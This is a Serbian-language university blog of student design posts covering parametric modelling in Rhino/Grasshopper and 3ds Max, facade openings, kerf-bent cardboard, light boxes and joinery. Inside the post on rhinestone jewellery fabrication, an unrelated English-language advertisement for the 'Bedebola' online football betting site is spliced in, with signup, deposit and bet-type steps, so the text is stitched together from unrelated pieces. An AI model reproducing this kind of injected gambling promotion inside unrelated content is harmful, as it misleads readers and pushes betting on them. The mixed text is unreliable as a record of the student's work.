Modularno spajanje vaza

Metod rada

AutoCad i 3ds max

U drugom delu razradjivala sam modelovanje vaza i kako se one nizu jedna na drugu

Problem ostaje jos resiti dizajn tako da se sve vaze uklapaju kada se stave jedna na drugu

Prvi pristup je bio modelovanje u AutoCadu gde sam crtala 2D frontalnog dela vaze, koje ce olaksati modelovanje u 3ds maxu

Screenshot (1)

Drugi pristup je bio 3D modelovanje u 3ds maxu, importovala sam 2D iz autocadu i preko njega crtala linijom nakon cega sam upotrebila alatku lathe da dobijem model, i rupe na vrhu i dnu vaze sam probusila koristeci boolean alatke.

Za dalji rad treba razraditi dizajn vaza koji treba da bude sto originalniji kako bi vazu ucinio upadljivom. Dalji rad ce se odvijati u rhino-u

Posted in Opšte | Comments Off on Modularno spajanje vaza

Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti

Oblast: Vizualizacija

Tema i predmet: Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti.

Stanje u oblasti:

The Shirt min

Inspiracija: James Turrell – Skyspace

10_Skyspace_Florian_Holzherr11_Skyspace_Florian_Holzherr12_Skyspace_Florian_Holzherr

Problem: Opažanje boje je subjektivno. Boja predmeta zavisi od svetlosnog izvora pod kojim se posmatra. Ukoliko posmatramo zelenu jabuku u podne i na zalasku sunca ona će nam izgledati iste boje, iako je svetlost pod kojom je posmatramo različita pa samim tim i njena boja.

Cilj: Postizanje efekta promene boje predmeta primenom osvetljenja.

Kriterijum: Mogućnost manipulisanja boje predmeta korišćenjem osvetljenja.

Primenjeni alati i metode: 3dsMax + Vray

Hipoteza: Moguće je primenom adekvatnog osvetljenja promeniti percepciju boje predmeta.

Posted in 23/24 Radovi | Comments Off on Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti

Efikasak način fabrikovanja nakita sa štrasom primenom algoritma part2

Postoje dva pristupa rešavanja problema:

1 ređanje cirkona po konturi slova

kriterijumi – cirkoni treba da prate liniju slova, cirkoni treba da se redjaju jedan do drugog sa što manje praznina, zabranjeno preklapanje cirkona

problem – oblik cirkona, usvojen oblik osmougla zbog rasprostranjenosti, uklapanjem medjusobno i prekriva najveći deo površine slova

  • trougao – problem kod pojedinih slova, potreban veliki broj cikona
  • kvadrat – pojavljivanje krzavih ivica
  • šestouglao – slova poput n i m budu horizontlno  izdužena zbog spoljašnjeg ugla šestougla
  • osmougao – problem kod nekih slova

 

2 redjanje cirkona unitar površine slova

kriterijum – popunjavanje površine slova sa što manje praznina

problem – praznine izmedju cirkona, preklapanje cirkona, pojavljivanje cirkona izvan površine slova

s m

 

dalje traba istražiti uklapanje različitihz oblika cirkona po gridu, rešenje treba da ima što manje slobodne površine ukutar slova

New to online football betting? No worries Bedebola makes it simple, fast, and fun. With an easy-to-use platform and complete features, you’re just a few steps away from placing your first winning bet!

1. Create Your Account

First, register for a free account at Bedebola. Fill in your details accurately, verify via email or phone number, and you’re good to go!

2. Make a Deposit

Top up your account using bank transfer, e-wallets, or mobile credit. The minimum deposit is affordable, and the process is fast and secure.

3. Choose a Match

Head to the Sportsbook section and browse the list of available matches—from the Premier League, Serie A, and Champions League to Asian leagues.

4. Pick Your Bet Type

Select from a variety of bet types: 1X2, Over/Under, Asian Handicap, Mix Parlay, and more. Make sure to check the odds and analyze team performance before locking in your bet.

5. Place Your Bet

Enter your bet amount and confirm your selection. Your bet will be active instantly!

6. Watch & Win

Follow the match live or check real-time scores directly on Bedebola. If your prediction is correct, your winnings will be credited automatically.

 

Posted in 23/24 Radovi, Opšte | Comments Off on Efikasak način fabrikovanja nakita sa štrasom primenom algoritma part2

Modelovanje fikisnog fasadnog brisoleja

Pomoću programa Grasshopper modelovan je fiksni brisolej sa kružnim otvorima, čiji se radijusi menjaju prema zadatim point attractors-ima.

Moguće je korigovanje najmanjeg i najvećeg prečnika otvora na fasadnom brisoleju.

f146fb6163b49571ba08ca9976d164b2https://www.pinterest.com/pin/129337820541462197/

Screenshot 2024-04-12 143225Screenshot 2024-04-12 143101

Posted in 23/24 Radovi | Comments Off on Modelovanje fikisnog fasadnog brisoleja

Parametarsko modelovanje fotografije- Faza 2

Screenshot 2024-04-12 141106

Screenshot 2024-04-12 141157Parametarsko modelovanje fotografije u Grasshopper-u pomoću Voronoi oblika. Na osnovu boja na fotografiji formirani su oblici, na svijetlim dijelovima fotografije oblici su veće površine, dok su na tamnim dijelovima oblici manje površine.

 

 

 

 

Posted in 23/24 Radovi, Opšte | Comments Off on Parametarsko modelovanje fotografije- Faza 2

Primena anamorfnih reči na zakrivljanim formama – faza II

Metod rada: Rhino + Grasshopper

 

U drugom delu izdvojili smo četiri glavna pitanja koja se javljaju:

1. Kako formirati smislenu strukturu

2. Kako i da li je moguće uklopiti anamorfnu reč u istu, korišćenjem isključivo boje

3. Koja reč je u pitanju

4. O kakvom prosotru govorimo

 

 

1: formiranje strukture

Prvo smo razmotrili o kojoj debljini strukture govorimo (30cm od ravni), zatim debljinu samih slojeva (2cm) i ukupnom broju istih (15), nakon čega smo definisali i konturu svakog sloja kako bi ih potom pojedinačno fabrikovali.

Screenshot 2024-06-25 115503Screenshot_2

Problem: 

Glavni problem bio je što određene krive nisu bile zatvorene na nekim od slojeva koji su presečeni, odnosno, kako napraviti površ od njih?

y

Odlučili smo se da svaki sloj pojedinačno proverimo i dodamo deo krive na onim mestima gde nedostaje, obzirom da je to predstavljalo najlakše rešenje, kako bi na kraju uspeli svaki od njih extrudovati i dobiti solid.

Proces formiranja svakog pojedinačnog sloja:

slojevi

 

Dobijena forma:

ttt

Inspiracija:

e50824f354928167baace7f04979452f

Posted in 23/24 Radovi | Comments Off on Primena anamorfnih reči na zakrivljanim formama – faza II

Parametarsko modelovanje senki – Faza 2

Screenshot 2024-04-12 133218 Screenshot 2024-04-12 133242 Screenshot 2024-04-12 133325 Screenshot 2024-04-12 133345 Screenshot 2024-04-12 133405Početak procesa podrazumeva izradu koda koji od izabrane slike izvlači konturu. Potom se uz pomoć tačkastog osvetljenja dobija presek geometrije projektovane na više ravni iz kojih se dobija senka. Zatim delimo dobijenu geometriju na više manjih delova koji se skladno rasporede da bi se dobila željena senka.

 

Posted in 23/24 Radovi | Comments Off on Parametarsko modelovanje senki – Faza 2

Faza 2: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

U drugoj fazi smo istraživali menjanje veličine otvora na fasadi u zavisnosti od rasporeda drveća. Za modelovanje je korišćen Rhino/Grasshopper.

Metod:

Modelovali smo 4 fasade sa heksagonalnim otvorima:

Screenshot 2024-04-12 124727Potom je modelovan luk koji predstavlja pružanje sunčevih zraka:

Screenshot 2024-04-12 125241

 

U zavisnosti od rasporeda drveća u odnosu na fasadu, menjaju se i otvori na fasadi, tako što na mestima gde je senka drveća najveća se nalaze i najveći otvori.

Screenshot 2024-04-12 130209 Screenshot 2024-04-12 130248

 

Posted in 23/24 Radovi | Comments Off on Faza 2: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

Modelovanje panela svetlosti – II Faza

Za modelovanje je koriscen Rhino/Grasshopper.

Za pocetak sam nacrtala pravougaonik odgovarajucih dimenzija.

Nakon toga na njemu je odradjen grid i upotreba trougaonih panela iz LunchBoxa kako bi se dobili okviri.

Potom je postavljen Point oko kog su random ukidani/otvarani trougaoni paneli.

Da bi se dodala debljina tih panela koriscen je Loft.

Posted in 23/24 Radovi | Comments Off on Modelovanje panela svetlosti – II Faza

Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 2

Ispitivanje ponašanja materijala kroz različite šablone zasecanja (wood folding)

Uzorci pločice dimenzija 19x19cm (lepenke 2mm i medijapan 2,5mm) se zasecaju po istom šablonu i uporedno analiziraju. Glavni kriterijumi po kojima se ocenjuje kvalitet datog materijala :

  1. fleksibilnos materijala
  2. lakoća obrade
  3. estetske karakteristike

korišćeni šabloni:

2šablon 1 – vertikalni prorezi na 0,5 cm

šablon2šablon2a1šablon 2- vertikalni prorezi na 1 cmšablon 1šablon1a3šablon 3- kosi prorezi na 1 cm

 

 

 šablon3šablon 4

4šablon 4 – kosi prorezi na 2 cm

sblon5ašablon5

Zaključak analize ponašanje materijala:

Lepenka je zahvalniji materijal u pogledu fleksibilnosti i obrade materijala (lakše se seče, ne ostaju veliki tragovi sečenja, elastičnija je te se lakše oblikuje, teže dolazi do preloma, lomljenja ili cepanja materijala…) međutim, na polju boje i teksture medijapan je bolji izbor.

Ispitivanje načina savijanja lepenke (wood folding):

Na osnovu prethodno pomenute analize za sledeće istraživanje odabrana je lepenka.

  • Ukoliko ploču zasecamo pravim linijama (bile one paralelne naspramnim ivicama ploče ili ne) omogućićemo savijanje ploče u pravcu koji je normaran na pravac zasečenih linija.

22

  • Izlomljene prave dozvoljavaju manji stepen savijanja u odnosu na neizlomljene prave (dolazi do listanja slojeva materijala ukoliko previše savijamo ploču).

savijanje1

  • U zavisnosti od gustine zasečenih linija ploča će biti više ili manje fleksibilna. Ova osobina se može iskoristiti kada želimo postići neki drugi oblik cilindra na primer, eliptični cilindar. Potrebno je gušće zarezati ploču na mestima gde je potrebna veća zakrivljenost figure.

poređenje

  • Na sledećoj slici uočićemo da iako zarežemo ploču krivama, ploča će ponovo prilikom savijanja težiti geometrijskoj figuri cilindra, sve dok su krive ujednačenog pravca (prva ploča sa sllike). Ploča će se slabije savijati u koliko je zarezujemo krivama. Na drugoj ploči sa slike isečeni su dublji prorezi  što je omogućilo veću fleksibilnost, međutim ovakav pristup nije dobar jer se ploča lako može raspasti zbog previše tankih spojeva. Kod treće ploče se ne stiče utisak da prilikom savijanja formira oblik cilindra jer je zasečena krivama koje veoma odstupaju od originalnog pravolinijskog pravca zasecanja. Ovakav pristup je jedan od najefikasnijih jer ne zahteva velike pripreme i sadrži širok spektar oblika koji se mogu upotrebiti kako bi se stekao utisak da figura nije pravilan cilindar. Kako ne bi došlo do listanja delova ploče i njenog raspadanja, potrebno je na napraviti prsten na krajevima ploče sa prorezima koji su normalni na ivicu ploče.

krivekrive 2

  • Pretpostavka da se od ravne ploče nekog krutog materijala, pomoću wood folding tehnike može formirati bilo kakva dvostruko zakrivljena površ ili figura slobodne forme, nije tačna. Mogćnost da površ bude dvostruko zakrivljena isključivo zavisi od osobina materijala od kojih je površ napravljena. Na sledećem primeru vidimo da je lepenka bez proreza dovoljno elastična da dobije isti oblik kao i ploča sa prorezima.

krive nasumičnonasumične krive 2

Drugi dokaz da pretpostavka nije tačna

  • Koristeći tutorijal sa linka: https://www.instructables.com/Curved-Kerf-Bending-Part-2/
  • Modelovane su 2 različite zakrivljene površi. Prva dvostruko i druga jednostruko zakrivljena površ. U slučaju dvostruko zakvljene površi program je izbacio obaveštenje da ne može verodostojno da razvije površ.

Screenshot 2024-04-01 145832 Dvostruko zakrivljena površ, njena razvojna forma i šablon sečenja.

Screenshot 2024-04-01 150418

 

Jednostruko zakrivljena površ, njena razvojna forma i šablon sečenja.

Continue reading

Posted in 23/24 Radovi | Comments Off on Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 2

Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza 2

Na osnovu istraživanja detaljnosti i strukture postojećih lampi, zaključujemo da je potreban velik nivo detaljnosti, na milimetarskom nivou, samo na delovima gde želimo predstaviti urušavanje zida, dok ostali elementi mogu biti jednostavniji. Takođe od ključne je važnosti dobro izabrati segment objekta koji želimo da prikažemo i ispitati najbolju kompoziciju.

las sola 3-1 las sola 3-2

Praktični deo-izrada u 3ds max-u

  1. Ubacivanje osnove i preseka i referentnih fotografija .
  2. Modelovanje osnovne geometrije (box, cylinder,tube) i otvora (compound objects, proboolean, subtraction).

Prva dva koraka se preskaču ukoliko postoji gotov 3D model manastira.

  1. Pozicioniranje osvetljenja (led sijalice) i ubacivanje lampe bez detalja u prethodno napravljenu šupljinu u zidu, kako bi se lakše odradio sledeći korak.
  2. Dodavanje elemenata i detalja u vidu urušenog zida i teksture stene (kamena).
  3. Pozicioniranje kamere i izrada rendera.

 

-Dodavanje elemenata i detalja u vidu urušenog zida i teksture stene (kamena)

Primenjene metode:

Metoda 1

Modelovanje unutrašnjosti uz pomoć alatki tessellate i paint deformation brush (push/pull). Model enterijera ili eksterijera objekta je dodat nakon ovog koraka.

  • Mogu se dobiti dobri rezultati ali uz puno truda i napora, veoma spor proces.
  • Utiče na okolnu geometriju, neophodno je veće planiranje prvobitne bazne geometrije.

Prikaz primene metode 1 na jednostavnoj geometriji kocke:

 

Prikaz primene metode 1 na gotovom modelu manastira:

render 3

Metoda 2

Modelovanje kamena i korišćenje operacije proboolean kako bi se oduzeo deo geometrije.

Kamen (low poly rock) je dobijen na sledeći način: box je zaobljen pomoću turbosmooth-a, određen je broj iteracija, a zatim je dodat i displace (map:general-cellular).

box,turbosmooth, displace

 

Prikaz primene metode 1 na jednostavnoj geometriji kocke:

22

Posted in 23/24 Radovi | Comments Off on Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza 2

Kreiranje i ispitivanje potencijalnih varijacija izrade 3D LIGHT BOX-a kao slojevite slike grada / FAZA 2

Polazna tačka za rad jeste odabir određenog grada i fotografija njegovih najznačajnijih znamenitosti.

Neophodno je odabrati fotografije (sa jačim kontrastom) kako bi se preko online sajtova fotografija prebacila iz .JPG formata u .SVG, i samim tim pripremila za obradu u Photoshop – u ( što može znatno ubrzati rad – da se ne bi ručno iscrtavalo sve..)

jpg to svg

 

Korišćenjem Photoshop-a neophodno je napraviti određene slojeve (razvrstavajući ih po važnosti i u prvom planu ističući najbitnije – dok posljednji slojevi mogu biti univerzalni i mogu se koristiti u bilo kojoj varijanti) kao što je prikazano u prilozima :

1. sloj 2. sloj 3. sloj 4. sloj 5. sloj 6. sloj

Svaki sloj će ustvari predstavljati jedan papir koji će se sjeći i stavljati iza predhodnog – kako bi se dobila slojevita struktura i sama dubina prostora. Iza posljednjeg sloja biče postavljena LED traka tako da se stvori pravi light box.

Neophodno je potencijalnu postavku ovoga ispitati renderom ( prije konačne verzije – sječenja i stvarne postavke), kako bi se moglo sagledati kako će to u stvarnosti izgledati.

Koristeći različite programe pokušala sam napraviti PLANE koji će simulirati isječeni papir (plane je isječen konturama slojeva dobijenih iz PS-a), te postavkom tih PLANE-ova na određenu distancu jednog iza drugog dobiti BOX. Na poslednjoj strani BOX-a neophodno je ubaciti svjetlosni izvor i pomoću rendera isprobati sam prikaz, kao što je i predstavljeo u prilozima:

jedno oba

 

Za dalju razradu neophodno je pospješiti i ubrzati promjenu slojeva i pokušati izraditi fizički model/maketu na osnovu ovih istraživanja..

 

Posted in Opšte | Comments Off on Kreiranje i ispitivanje potencijalnih varijacija izrade 3D LIGHT BOX-a kao slojevite slike grada / FAZA 2

Ispitivanje osunčanosti objekata na primjeru rekonstruisane radne zone u Novom Sadu – faza 1

Kreirana je putanja sunca na osnovu geografskih podataka lokacije. Vremenski period koji ulazi u analizu je od 9h do 18h. Geometrija je klasifikovana na onu koja baca sijenku i onu koja je u sijenci. Na osnovu toga dobijen je prikaz prosječne osunčanosti objekata. Za probu je korišćen samo jedan segment bloka.

Screenshot 2024-04-01 145312          kod

 

 

Posted in Opšte | Comments Off on Ispitivanje osunčanosti objekata na primjeru rekonstruisane radne zone u Novom Sadu – faza 1

Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 2

Urađena je analiza određenih vrsta spojeva, pomoću kojih je napravljen sto od 3 vrsta spojeva. Sve spojeve je moguće podeleliti po horizontali na 3 dela što olakšava kasniju fabrikaciju. Sama analiza je rađena u Sketchup-u sobzirom na jednostavnost geometrije u “japanese joinery”-u

3 4 5 Screenshot 2024-04-01 101036 Screenshot 2024-04-01 102207 68

Za dalju analizu bilo bi neophodno pronaći spojeve koji su pod određenim uglom sobzirom da bi to doprinelo stabilnosti konstrukcije stola, kao i još različitih spojeva koji bi se mogli podeliti na 3 dela po horizontali i možda bili stabilniji.

Bilo bi zanimljivo uraditi i analizu stabilnosti određenih spojeva, poput ovog koji je ispod označen.

7

 

Posted in 23/24 Radovi | Comments Off on Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 2